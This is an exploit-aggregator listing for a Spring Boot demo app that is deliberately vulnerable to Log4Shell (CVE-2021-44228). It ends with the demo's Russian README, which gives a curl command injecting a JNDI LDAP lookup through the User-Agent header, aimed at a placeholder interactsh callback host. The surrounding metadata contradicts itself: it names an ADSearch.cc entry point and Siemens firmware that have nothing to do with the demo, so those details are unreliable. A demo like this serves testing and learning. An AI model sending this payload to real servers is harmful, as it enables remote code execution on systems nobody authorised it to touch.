Exploit for log4shell-demo

kitploit · 2026-09-04

Description

Spring Boot demo app vulnerable to Log4Shell CVE-2021-44228 via User-Agent JNDI lookup.

Entry point

ParametermethodToCall · request body

PathADSearch.cc

Exploitation target parameter for Log4j RCE via JNDI lookup payload in ADSearch.cc request.

Affected Siemens 6bk1602-0aa12-0tp0 Firmware versions

Siemens 6bk1602-0aa12-0tp0 Firmware< 2.7.0

All known vulnerabilities by product

Apache Log4J 1.2 Apache Log4J2 Apache Struts Astra Linux Huawei Vrp Jmsappender Linuxmint Apple Macos

CVSS 10.0 for CVE-2021-44228

10.0

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:CHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

References

https://github.com/projectdiscovery/interactsh

Exploit Details

Modified:2026-09-04 04:28

Last Seen:2026-09-04 23:39

Reporter:KitPloit

Tags

log4shell-demoLog4ShellJNDI lookupSpring BootUser-AgentRCE

Other exploits for CVE-2021-44228

2026-09-04 KitPloitKITPLOIT

Log4J-CVE-2021-44228-RCE

2026-09-04 KitPloitKITPLOIT

CVE-2021-44228-PoC

2026-09-04 KitPloitKITPLOIT

Writing-Sample-1

2026-09-04 KitPloitKITPLOIT

CVE-2021-44228_Log4Shell

2026-09-04 KitPloitKITPLOIT

CVE-2021-44228-PoC

2026-09-04 KitPloitKITPLOIT

spring-boot-log4j-cve-2021-44228-docker-lab

2026-09-04 KitPloitKITPLOIT

Log4j-CVE-2021-44228-Remediation

2026-09-04 KitPloitKITPLOIT

Exploit Code

MARKDOWN20 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KORTEKE-LOG4SHELL-DEMO
# Простое приложение Spring Boot, уязвимое для Log4Shell (CVE-2021-44228)

  * Изменена стандартная система логирования с logback на log4j2



Приложение логирует заголовок 'User-Agent', поэтому можно проверить уязвимость с помощью curl и, например, interactsh-service:

root@kitploit:~
    
    
    curl -A '${jndi:ldap://interactsh-url/a}' http://target-service/
    

Должна появиться DNS-взаимодействие на app.interactsh.com.

## Docker hub

Ссылка на Docker hub